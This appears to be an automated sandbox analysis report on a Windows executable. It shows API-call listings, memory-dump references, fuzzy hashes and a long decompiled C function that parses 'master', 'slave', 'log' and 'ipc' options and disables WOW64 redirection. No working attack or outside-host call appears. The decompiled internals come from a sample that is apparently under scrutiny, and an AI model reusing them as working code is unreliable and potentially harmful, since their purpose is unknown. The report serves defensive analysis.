Part of subcall function 0011915C: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011917C
Part of subcall function 0011915C: GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011918F
Part of subcall function 0011915C: FreeLibrary.KERNEL32(00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000), ref: 001191B2

ExitProcess.KERNEL32 ref: 00119111

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Process$AddressCurrentExitFreeHandleLibraryModuleProcTerminate
String ID:
API String ID: 3650431659-0
Opcode ID: 051adffea2fdb8e59d6bd979cbd06922681f7389284fb4e2f69150c23c952b65
Instruction ID: 1f08fdf8825e61961c47d360edb6b78de0f5fe9043214d54bff5f914b4fe0ec0
Opcode Fuzzy Hash: 051adffea2fdb8e59d6bd979cbd06922681f7389284fb4e2f69150c23c952b65
Instruction Fuzzy Hash: 88E04631000109AFCF096F64DD1CA993B29EF10351B490024F8988A531CB36DCC2CA41

Uniqueness

Uniqueness Score: 0.05%

Function 000CA8E0, Relevance: 1.6, APIs: 1, Instructions: 72encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,D529E887,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCrypt$Acquire$ErrorException@8LastThrow$Release___std_exception_copy__onexit
String ID:
API String ID: 4182043879-0
Opcode ID: 717aacc9b7cfd28c7b4459d38ccb5a6808256c9c8f252070197f6b2ec811cd9d
Instruction ID: 2a0c3524f1a60f50002065dac5be9a0b93871274cab8b99d953de46f42eea54c
Opcode Fuzzy Hash: 717aacc9b7cfd28c7b4459d38ccb5a6808256c9c8f252070197f6b2ec811cd9d
Instruction Fuzzy Hash: 5A2193B2F442149BD7108F69EC06B6AB7F8EB45B54F01422EF909D7780EBB598448791

Uniqueness

Uniqueness Score: 0.03%

Function 00051280, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0005128A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: b742d3d9eedd2f31a89e3ee2a0fbb221d627f2a1ec91163ed88da92d5df35627
Instruction ID: a28e49ee976ccbe1acec1cbac414683d8ec07b8d418c12fc2f649267e83b3277
Opcode Fuzzy Hash: b742d3d9eedd2f31a89e3ee2a0fbb221d627f2a1ec91163ed88da92d5df35627
Instruction Fuzzy Hash: F1C0127480420C8BC700DFA4998545977FCAB08101B400151EC0C93610E631E8D88792

Uniqueness

Uniqueness Score: 0.02%

Function 000619B0, Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 558
comUNIQUE

Download Yara Rule

C-Code - Quality: 73%

			E000619B0(void* __ebx, signed int* __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v16;
				char _v24;
				intOrPtr _v28;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				char _v56;
				char _v64;
				signed int _v68;
				signed int _v72;
				char _v88;
				intOrPtr _v92;
				char _v112;
				char _v188;
				char* _v196;
				char _v292;
				signed int* _v296;
				signed int _v300;
				signed int _v304;
				char _v308;
				char _v312;
				signed int _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				void* _v344;
				void* _v352;
				void* _v360;
				char _v368;
				char _v408;
				char _v468;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t254;
				signed int _t255;
				signed int _t266;
				signed int* _t277;
				intOrPtr _t289;
				signed int* _t293;
				signed int _t307;
				signed int _t310;
				signed int _t313;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				void* _t348;
				signed int _t360;
				intOrPtr _t370;
				intOrPtr _t375;
				intOrPtr _t380;
				char* _t392;
				signed int _t393;
				intOrPtr _t395;
				intOrPtr _t400;
				intOrPtr _t407;
				signed int _t413;
				signed int _t424;
				signed int _t456;
				intOrPtr _t457;
				intOrPtr* _t458;
				signed int _t464;
				void* _t467;
				signed int _t470;
				signed int _t474;
				intOrPtr _t477;
				intOrPtr _t478;
				intOrPtr _t479;
				char* _t481;
				intOrPtr _t483;
				intOrPtr _t484;
				intOrPtr _t485;
				signed int _t487;
				intOrPtr _t488;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				void* _t494;
				signed int _t495;
				void* _t496;
				intOrPtr _t497;
				void* _t498;
				void* _t499;
				void* _t500;
				signed int _t501;
				signed int _t503;
				intOrPtr* _t505;
				void* _t507;
				unsigned int _t509;
				intOrPtr* _t510;
				signed int _t511;
				signed int* _t512;
				signed int _t513;
				signed int _t515;
				signed int _t518;
				signed int* _t519;
				void* _t520;
				signed int _t522;
				signed int _t526;
				signed int _t529;
				intOrPtr _t530;
				void* _t532;

				_t413 = _t526;
				_t529 = (_t526 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t413 + 4));
				_t522 = _t529;
				_t530 = _t529 - 0x178;
				_t254 =  *0x16f170; // 0xd529e887
				_t255 = _t254 ^ _t522;
				_v40 = _t255;
				 *[fs:0x0] =  &_v24;
				_v28 = _t530;
				_v296 = __ecx;
				_v304 = 0;
				_v316 = 0;
				_v312 = 0;
				__imp__Wow64DisableWow64FsRedirection( &_v312, _t255, _t500, _t507, _t413, __ecx,  *[fs:0x0], 0x12e3ea, 0xffffffff, _t520, __ebx);
				__imp__CoInitialize(0); // executed
				_v16 = 0;
				_t501 =  *0x13ad60; // 0x50
				_push(7);
				_t509 = _t501 >> 1;
				_v48 = 0;
				_v44 = 0xf;
				_v64 = 0;
				E00068B90( &_v64, __edx, _t509, "options");
				_push(_t509);
				_v16 = 1;
				E000A0FF0( &_v64, _t501);
				_v16 = 3;
				_t487 = _v44;
				if(_t487 < 0x10) {
					L4:
					_v48 = 0;
					_v44 = 0xf;
					_v64 = 0;
					_t266 = E000A14B0(E000A14B0(E000A14B0(E000A1D50( &_v188,  &_v308), _t546, "log,l", "log"), _t546, "master,m", "master"), _t546, "slave,s", "slave");
					_push(0x88);
					_v300 = _t266;
					_t510 = E000ECF08(_t509, _t546);
					_v304 = _t510;
					 *((intOrPtr*)(_t510 + 4)) = 0x13a5e8;
					 *_t510 = 0x151690;
					 *((intOrPtr*)(_t510 + 4)) = 0x1515f8;
					 *((intOrPtr*)(_t510 + 8)) = 0x16fbb0;
					 *(_t510 + 0x1c) = 0;
					 *((intOrPtr*)(_t510 + 0x20)) = 0xf;
					 *((char*)(_t510 + 0xc)) = 0;
					 *(_t510 + 0x24) = 0;
					 *(_t510 + 0x38) = 0;
					 *((intOrPtr*)(_t510 + 0x3c)) = 0xf;
					 *((char*)(_t510 + 0x28)) = 0;
					 *(_t510 + 0x40) = 0;
					 *(_t510 + 0x54) = 0;
					 *((intOrPtr*)(_t510 + 0x58)) = 0xf;
					 *((char*)(_t510 + 0x44)) = 0;
					 *(_t510 + 0x5c) = 0;
					 *((char*)(_t510 + 0x60)) = 0;
					_push(0x1c);
					 *(_t510 + 0x68) = 0;
					_t501 = E000ECF08(_t510, _t546);
					_t532 = _t530 + 8;
					_v304 = _t501;
					_v16 = 5;
					_t49 = _t501 + 4; // 0x4
					 *_t501 = 0x13a988;
					E00064B40(_t49, _t487, 0x16fbb0);
					_t424 =  *(_t510 + 0x24);
					 *(_t510 + 0x24) = _t501;
					if(_t424 != 0) {
						 *((intOrPtr*)( *_t424))(1);
					}
					_v16 = 6;
					_push( *0x16fbc0);
					_t271 =  >=  ?  *0x16fbb0 : 0x16fbb0;
					_v72 = 0;
					_v68 = 0xf;
					_v88 = 0;
					_v304 = 1;
					E00068B90( &_v88, _t487, _t510,  >=  ?  *0x16fbb0 : 0x16fbb0);
					_t59 = _t510 + 0x28; // 0x28
					E00064900(_t413, _t59, _t501, _t510,  &_v88);
					_v16 = 3;
					_t488 = _v68;
					if(_t488 < 0x10) {
						L10:
						E000A15C0(_v300, _t551, "ipc,i", _t510, "ipc");
						E0009CCA0( &_v368);
						_v16 = 8;
						_t511 = 0;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v304 = 2;
						while(1) {
							_t277 = _v296;
							_t501 =  *_t277;
							_t490 = 0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2;
							if(_t511 >= (0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t277[1] - _t501) >> 0x20 >> 2)) {
								break;
							}
							_t392 = E000A80A0( &_v112, _t501 + (_t511 + _t511 * 2) * 8);
							_t532 = _t532 + 8;
							_t481 = _t392;
							_v16 = 9;
							_t393 = _v48;
							if(_v44 == _t393) {
								_push(_t481);
								E0007DD40(_t413,  &_v52, _t501, _t511, _t393);
							} else {
								 *(_t393 + 0x10) = 0;
								 *(_t393 + 0x14) = 0;
								asm("movups xmm0, [ecx]");
								asm("movups [eax], xmm0");
								asm("movq xmm0, [ecx+0x10]");
								asm("movq [eax+0x10], xmm0");
								 *(_t481 + 0x10) = 0;
								 *((intOrPtr*)(_t481 + 0x14)) = 0xf;
								 *_t481 = 0;
								_v48 = _v48 + 0x18;
							}
							_v16 = 8;
							_t497 = _v92;
							if(_t497 < 0x10) {
								L19:
								_t511 = _t511 + 1;
								continue;
							} else {
								_t483 = _v112;
								_t498 = _t497 + 1;
								_t395 = _t483;
								if(_t498 < 0x1000) {
									L18:
									_push(_t498);
									E000ED2D0(_t483);
									_t532 = _t532 + 8;
									goto L19;
								} else {
									_t456 =  *(_t483 - 4);
									_t496 = _t498 + 0x23;
									if(_t395 - _t456 + 0xfffffffc > 0x1f) {
										goto L63;
									} else {
										goto L18;
									}
								}
							}
							goto L98;
						}
						E000A3C80( &_v52);
						E00067600(_t413,  &_v52, _t501);
						_v16 = 0xa;
						E000A75E0( &_v292,  &_v188);
						_v196 =  &_v188;
						_t289 = E000A5300( &_v292);
						_v336 = 0;
						_v332 = 0;
						_v328 = 0;
						_v324 = _v196;
						_v320 = _t289;
						_v16 = 0xb;
						_t512 = E000A6840(_t413,  &_v292, _t501, _t511,  &_v52);
						_t293 =  &_v336;
						__eflags = _t293 - _t512;
						if(_t293 != _t512) {
							E000673B0(_t413, _t293, _t501, _t512);
							_v336 =  *_t512;
							_v332 = _t512[1];
							_v328 = _t512[2];
							 *_t512 = 0;
							_t512[1] = 0;
							_t512[2] = 0;
						}
						E000673B0(_t413,  &_v52, _t501, _t512);
						E0009F0C0(_t413,  &_v408, _t501, _t512, __eflags,  &_v336);
						E000673B0(_t413,  &_v336, _t501, _t512);
						_v16 = 0xc;
						E0009E600( &_v408,  &_v368);
						E00062400(_t413,  &_v408, _t501);
						_v16 = 7;
						E00062560( &_v292);
						_push( &_v368);
						E0009D610(_t413, _t501, _t512);
						_t532 = _t532 + 0xc;
						_v48 = 0;
						_v44 = 0xf;
						_v64 = 0;
						_push(3);
						E00068B90( &_v64, _t490, _t512, "log");
						_t307 = E00063C40( &_v360,  &_v64);
						_t491 = _v44;
						__eflags = _t307;
						 *0x17a480 = _t307 != 0;
						__eflags = _t491 - 0x10;
						if(_t491 < 0x10) {
							L26:
							_push(5);
							_v48 = 0;
							_t513 = 2;
							_v44 = 0xf;
							_v64 = 0;
							E00068B90( &_v64, _t491, 2, "slave");
							_t310 = E00063C40( &_v360,  &_v64);
							_t492 = _v44;
							_t501 = _t310;
							__eflags = _t492 - 0x10;
							if(_t492 < 0x10) {
								L30:
								__eflags = _t501;
								if(_t501 == 0) {
									_push(6);
									_v48 = 0;
									_v44 = 0xf;
									_v64 = 0;
									E00068B90( &_v64, _t492, _t513, "master");
									_t313 = E00063C40( &_v360,  &_v64);
									_t493 = _v44;
									_t501 = _t313;
									__eflags = _t493 - 0x10;
									if(_t493 < 0x10) {
										L36:
										__eflags = _t501;
										if(_t501 == 0) {
											_v56 = 0x61040;
											E000835E0( &_v52, _v296);
											_v16 = 0xd;
											_t474 =  *0x17a4d4; // 0x4e7e90
											_t518 = _t474;
											_v300 = _t501;
											_t360 =  *(_t474 + 4);
											__eflags =  *((char*)(_t360 + 0xd));
											if( *((char*)(_t360 + 0xd)) != 0) {
												L45:
												_v296 =  &_v300;
												_push(_t474);
												__eflags = E00081830(_t474,  &_v296) + 0x10;
												E0007D390( &_v296, _t518, E00081830(_t474,  &_v296) + 0x10, _t363);
												_t519 = _v296;
											} else {
												do {
													__eflags =  *(_t360 + 0x10);
													if( *(_t360 + 0x10) >= 0) {
														_t518 = _t360;
														_t360 =  *_t360;
													} else {
														_t360 =  *(_t360 + 8);
													}
													__eflags =  *((char*)(_t360 + 0xd));
												} while ( *((char*)(_t360 + 0xd)) == 0);
												__eflags = _t518 - _t474;
												if(_t518 == _t474) {
													goto L45;
												} else {
													__eflags =  *(_t518 + 0x10);
													if( *(_t518 + 0x10) > 0) {
														goto L45;
													}
												}
											}
											E0006EFF0(_t413,  &(_t519[6]), _t501, _t519,  &_v56);
											_v16 = 7;
											E000674C0(_t413,  &_v52, _t501);
											_t513 = 0;
											__eflags = 0;
										}
										goto L47;
									} else {
										_t477 = _v64;
										_t496 = _t493 + 1;
										_t370 = _t477;
										__eflags = _t496 - 0x1000;
										if(_t496 < 0x1000) {
											L35:
											_push(_t496);
											E000ED2D0(_t477);
											_t532 = _t532 + 8;
											goto L36;
										} else {
											_t456 =  *(_t477 - 4);
											_t496 = _t496 + 0x23;
											__eflags = _t370 - _t456 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L66;
											} else {
												goto L35;
											}
										}
									}
								} else {
									_t513 = 1;
									L47:
									_v48 = _t513;
									_t513 =  &_v52;
									_v52 = 3;
									_v44 = 4;
									while(1) {
										__eflags = _t513 -  &_v40;
										if(_t513 ==  &_v40) {
											break;
										}
										_t501 =  *0x17a4d4; // 0x4e7e90
										_t456 = _t501;
										_t494 =  *_t513;
										_t330 =  *(_t501 + 4);
										__eflags =  *((char*)(_t330 + 0xd));
										if( *((char*)(_t330 + 0xd)) != 0) {
											goto L68;
										} else {
											do {
												__eflags =  *((intOrPtr*)(_t330 + 0x10)) - _t494;
												if( *((intOrPtr*)(_t330 + 0x10)) >= _t494) {
													_t456 = _t330;
													_t330 =  *_t330;
												} else {
													_t330 =  *(_t330 + 8);
												}
												__eflags =  *((char*)(_t330 + 0xd));
											} while ( *((char*)(_t330 + 0xd)) == 0);
											__eflags = _t456 - _t501;
											if(_t456 == _t501) {
												goto L68;
											} else {
												__eflags = _t494 -  *((intOrPtr*)(_t456 + 0x10));
												if(_t494 <  *((intOrPtr*)(_t456 + 0x10))) {
													goto L68;
												} else {
													_t456 =  *(_t456 + 0x3c);
													__eflags = _t456;
													if(__eflags == 0) {
														goto L67;
													} else {
														 *((intOrPtr*)( *_t456 + 8))();
														_t513 = _t513 + 4;
														continue;
													}
												}
											}
										}
										goto L98;
									}
									E00069FB0(_t413,  &_v344, _t501, _t513,  &_v308,  *_v344, _v344);
									E000ED2D0(_v344);
									E00069AB0(_t413,  &_v352,  &_v308,  *_v352, _v352);
									E000ED2D0(_v352);
									E00069C40(_t413,  &_v360,  &_v308,  *_v360, _v360);
									E000ED2D0(_v360);
									_v368 = 0x13aac8;
									L69();
									__imp__CoUninitialize(0x38, 0x28, 0x40); // executed
									__imp__Wow64RevertWow64FsRedirection();
									 *[fs:0x0] = _v24;
									__eflags = _v40 ^ _t522;
									return E000ECED8(_v40 ^ _t522,  &_v312);
								}
							} else {
								_t478 = _v64;
								_t492 = _t492 + 1;
								_t375 = _t478;
								__eflags = _t492 - 0x1000;
								if(_t492 < 0x1000) {
									L29:
									_push(_t492);
									E000ED2D0(_t478);
									_t532 = _t532 + 8;
									goto L30;
								} else {
									_t456 =  *(_t478 - 4);
									_t496 = _t492 + 0x23;
									__eflags = _t375 - _t456 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L65;
									} else {
										goto L29;
									}
								}
							}
						} else {
							_t479 = _v64;
							_t491 = _t491 + 1;
							_t380 = _t479;
							__eflags = _t491 - 0x1000;
							if(_t491 < 0x1000) {
								L25:
								_push(_t491);
								E000ED2D0(_t479);
								_t532 = _t532 + 8;
								goto L26;
							} else {
								_t456 =  *(_t479 - 4);
								_t496 = _t491 + 0x23;
								__eflags = _t380 - _t456 + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L64;
								} else {
									goto L25;
								}
							}
						}
					} else {
						_t484 = _v88;
						_t499 = _t488 + 1;
						_t400 = _t484;
						if(_t499 < 0x1000) {
							L9:
							_push(_t499);
							E000ED2D0(_t484);
							_t532 = _t532 + 8;
							goto L10;
						} else {
							_t456 =  *(_t484 - 4);
							_t496 = _t499 + 0x23;
							_t551 = _t400 - _t456 + 0xfffffffc - 0x1f;
							if(_t400 - _t456 + 0xfffffffc > 0x1f) {
								goto L62;
							} else {
								goto L9;
							}
						}
					}
				} else {
					_t485 = _v64;
					_t487 = _t487 + 1;
					_t407 = _t485;
					if(_t487 < 0x1000) {
						L3:
						_push(_t487);
						E000ED2D0(_t485);
						_t530 = _t530 + 8;
						goto L4;
					} else {
						_t456 =  *(_t485 - 4);
						_t496 = _t487 + 0x23;
						_t546 = _t407 - _t456 + 0xfffffffc - 0x1f;
						if(_t407 - _t456 + 0xfffffffc > 0x1f) {
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L62:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L63:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L64:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L65:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L66:
							E0010F44B(_t413, _t456, _t496, _t501, __eflags);
							L67:
							E000D9BF8(__eflags);
							L68:
							_push("invalid map<K, T> key");
							E000D9C35();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t413);
							_push(_t513);
							_t515 = _t456;
							_push(_t501);
							_t503 =  *(_t515 + 0x38);
							__eflags = _t503;
							if(_t503 == 0) {
								L77:
								_t332 =  *(_t515 + 0x2c);
								__eflags = _t332;
								if(_t332 == 0) {
									L82:
									_t503 =  *(_t515 + 0x20);
									__eflags = _t503;
									if(_t503 == 0) {
										L90:
										_t457 =  *((intOrPtr*)(_t515 + 0x14));
										__eflags = _t457 - 0x10;
										if(_t457 < 0x10) {
											L95:
											 *(_t515 + 0x10) = 0;
											 *((intOrPtr*)(_t515 + 0x14)) = 0xf;
											 *_t515 = 0;
											return _t332;
										} else {
											_t333 =  *_t515;
											_t458 = _t457 + 1;
											__eflags = _t458 - 0x1000;
											if(_t458 < 0x1000) {
												L94:
												_push(_t458);
												_t332 = E000ED2D0(_t333);
												goto L95;
											} else {
												_t495 =  *(_t333 - 4);
												_t458 = _t458 + 0x23;
												__eflags = _t333 - _t495 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L96;
												} else {
													_t333 = _t495;
													goto L94;
												}
											}
										}
									} else {
										_t413 =  *(_t515 + 0x24);
										__eflags = _t503 - _t413;
										if(_t503 != _t413) {
											do {
												E00053860(_t503 + 4);
												_t503 = _t503 + 8;
												__eflags = _t503 - _t413;
											} while (_t503 != _t413);
											_t503 =  *(_t515 + 0x20);
										}
										_t464 =  *(_t515 + 0x28) - _t503 & 0xfffffff8;
										__eflags = _t464 - 0x1000;
										if(_t464 < 0x1000) {
											L89:
											_push(_t464);
											_t332 = E000ED2D0(_t503);
											 *(_t515 + 0x20) = 0;
											_t532 = _t532 + 8;
											 *(_t515 + 0x24) = 0;
											 *(_t515 + 0x28) = 0;
											goto L90;
										} else {
											_t495 =  *(_t503 - 4);
											_t458 = _t464 + 0x23;
											_t503 = _t503 - _t495;
											__eflags = _t503 - 4 - 0x1f;
											if(__eflags > 0) {
												goto L96;
											} else {
												_t503 = _t495;
												goto L89;
											}
										}
									}
								} else {
									_t467 =  *(_t515 + 0x34) - _t332;
									__eflags = _t467 - 0x1000;
									if(_t467 < 0x1000) {
										L81:
										_push(_t467);
										_t332 = E000ED2D0(_t332);
										 *(_t515 + 0x2c) = 0;
										_t532 = _t532 + 8;
										 *(_t515 + 0x30) = 0;
										 *(_t515 + 0x34) = 0;
										goto L82;
									} else {
										_t495 =  *(_t332 - 4);
										_t458 = _t467 + 0x23;
										__eflags = _t332 - _t495 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L96;
										} else {
											_t332 = _t495;
											goto L81;
										}
									}
								}
							} else {
								_t413 =  *(_t515 + 0x3c);
								__eflags = _t503 - _t413;
								if(_t503 != _t413) {
									do {
										E00053860(_t503 + 4);
										_t503 = _t503 + 8;
										__eflags = _t503 - _t413;
									} while (_t503 != _t413);
									_t503 =  *(_t515 + 0x38);
								}
								_t470 =  *(_t515 + 0x40) - _t503 & 0xfffffff8;
								__eflags = _t470 - 0x1000;
								if(_t470 < 0x1000) {
									L76:
									_push(_t470);
									E000ED2D0(_t503);
									 *(_t515 + 0x38) = 0;
									_t532 = _t532 + 8;
									 *(_t515 + 0x3c) = 0;
									 *(_t515 + 0x40) = 0;
									goto L77;
								} else {
									_t495 =  *(_t503 - 4);
									_t458 = _t470 + 0x23;
									_t503 = _t503 - _t495;
									__eflags = _t503 - 4 - 0x1f;
									if(__eflags > 0) {
										L96:
										E0010F44B(_t413, _t458, _t495, _t503, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t522);
										_push(_t458);
										_push(_t515);
										_push(_t503);
										_t505 = _t458;
										E00069FB0(_t413, _t505 + 0x18, _t505, _t515,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 0x18)))),  *((intOrPtr*)(_t505 + 0x18)));
										_push(0x40);
										E000ED2D0( *((intOrPtr*)(_t505 + 0x18)));
										E00069AB0(_t413, _t505 + 0x10,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 0x10)))),  *((intOrPtr*)(_t505 + 0x10)));
										_push(0x28);
										E000ED2D0( *((intOrPtr*)(_t505 + 0x10)));
										E00069C40(_t413, _t505 + 8,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 8)))),  *((intOrPtr*)(_t505 + 8)));
										_push(0x38);
										_t348 = E000ED2D0( *((intOrPtr*)(_t505 + 8)));
										 *_t505 = 0x13aac8;
										return _t348;
									} else {
										_t503 = _t495;
										goto L76;
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L98:
			}

0x000619b1
0x000619b9
0x000619c0
0x000619c4
0x000619d6
0x000619dc
0x000619e1
0x000619e3
0x000619ec
0x000619f2
0x000619f5
0x000619fd
0x00061a07
0x00061a0d
0x00061a1a
0x00061a22
0x00061a28
0x00061a32
0x00061a3a
0x00061a41
0x00061a43
0x00061a4a
0x00061a51
0x00061a55
0x00061a5a
0x00061a5f
0x00061a6a
0x00061a6f
0x00061a73
0x00061a79
0x00061aa7
0x00061aad
0x00061abb
0x00061ac2
0x00061af9
0x00061afe
0x00061b03
0x00061b0e
0x00061b13
0x00061b19
0x00061b20
0x00061b26
0x00061b2d
0x00061b34
0x00061b3b
0x00061b42
0x00061b46
0x00061b4d
0x00061b54
0x00061b5b
0x00061b5f
0x00061b66
0x00061b6d
0x00061b74
0x00061b78
0x00061b7f
0x00061b83
0x00061b85
0x00061b91
0x00061b93
0x00061b96
0x00061b9c
0x00061ba0
0x00061ba8
0x00061bae
0x00061bb3
0x00061bb6
0x00061bbb
0x00061bc1
0x00061bc1
0x00061bc3
0x00061bd6
0x00061bdc
0x00061be4
0x00061beb
0x00061bf2
0x00061bf6
0x00061c00
0x00061c09
0x00061c0c
0x00061c11
0x00061c15
0x00061c1b
0x00061c49
0x00061c5a
0x00061c65
0x00061c6a
0x00061c6e
0x00061c70
0x00061c77
0x00061c7e
0x00061c85
0x00061c90
0x00061c90
0x00061c99
0x00061ca4
0x00061cb0
0x00000000
0x00000000
0x00061cc1
0x00061cc6
0x00061cc9
0x00061ccb
0x00061ccf
0x00061cd5
0x00061d0c
0x00061d11
0x00061cd7
0x00061cd7
0x00061cde
0x00061ce5
0x00061ce8
0x00061ceb
0x00061cf0
0x00061cf5
0x00061cfc
0x00061d03
0x00061d06
0x00061d06
0x00061d16
0x00061d1a
0x00061d20
0x00061d4e
0x00061d4e
0x00000000
0x00061d22
0x00061d22
0x00061d25
0x00061d26
0x00061d2e
0x00061d44
0x00061d44
0x00061d46
0x00061d4b
0x00000000
0x00061d30
0x00061d30
0x00061d33
0x00061d3e
0x00000000
0x00000000
0x00000000
0x00000000
0x00061d3e
0x00061d2e
0x00000000
0x00061d20
0x00061d5e
0x00061d66
0x00061d71
0x00061d7c
0x00061d8d
0x00061d93
0x00061d9a
0x00061daa
0x00061db4
0x00061dbe
0x00061dc4
0x00061dcd
0x00061ddd
0x00061ddf
0x00061de5
0x00061de7
0x00061deb
0x00061df2
0x00061dfb
0x00061e04
0x00061e0a
0x00061e10
0x00061e17
0x00061e17
0x00061e21
0x00061e33
0x00061e3e
0x00061e49
0x00061e55
0x00061e63
0x00061e6e
0x00061e72
0x00061e7d
0x00061e7e
0x00061e83
0x00061e86
0x00061e90
0x00061e97
0x00061e9b
0x00061ea2
0x00061eb1
0x00061eb6
0x00061eb9
0x00061ebb
0x00061ec2
0x00061ec5
0x00061ef3
0x00061ef3
0x00061efd
0x00061f04
0x00061f09
0x00061f10
0x00061f14
0x00061f23
0x00061f28
0x00061f2b
0x00061f2d
0x00061f30
0x00061f5e
0x00061f5e
0x00061f60
0x00061f6c
0x00061f76
0x00061f7d
0x00061f84
0x00061f88
0x00061f97
0x00061f9c
0x00061f9f
0x00061fa1
0x00061fa4
0x00061fd2
0x00061fd2
0x00061fd4
0x00061fe4
0x00061feb
0x00061ff0
0x00061ff4
0x00061ffa
0x00061ffc
0x00062002
0x00062005
0x00062009
0x0006202f
0x00062035
0x00062041
0x0006204a
0x00062056
0x0006205b
0x00062010
0x00062010
0x00062010
0x00062014
0x0006201b
0x0006201d
0x00062016
0x00062016
0x00062016
0x0006201f
0x0006201f
0x00062025
0x00062027
0x00000000
0x00062029
0x00062029
0x0006202d
0x00000000
0x00000000
0x0006202d
0x00062027
0x00062068
0x00062070
0x00062074
0x00062079
0x00062079
0x00062079
0x00000000
0x00061fa6
0x00061fa6
0x00061fa9
0x00061faa
0x00061fac
0x00061fb2
0x00061fc8
0x00061fc8
0x00061fca
0x00061fcf
0x00000000
0x00061fb4
0x00061fb4
0x00061fb7
0x00061fbf
0x00061fc2
0x00000000
0x00000000
0x00000000
0x00000000
0x00061fc2
0x00061fb2
0x00061f62
0x00061f62
0x0006207b
0x0006207b
0x0006207e
0x00062081
0x00062088
0x0006208f
0x00062092
0x00062094
0x00000000
0x00000000
0x00062096
0x0006209c
0x0006209e
0x000620a0
0x000620a3
0x000620a7
0x00000000
0x000620b0
0x000620b0
0x000620b0
0x000620b3
0x000620ba
0x000620bc
0x000620b5
0x000620b5
0x000620b5
0x000620be
0x000620be
0x000620c4
0x000620c6
0x00000000
0x000620cc
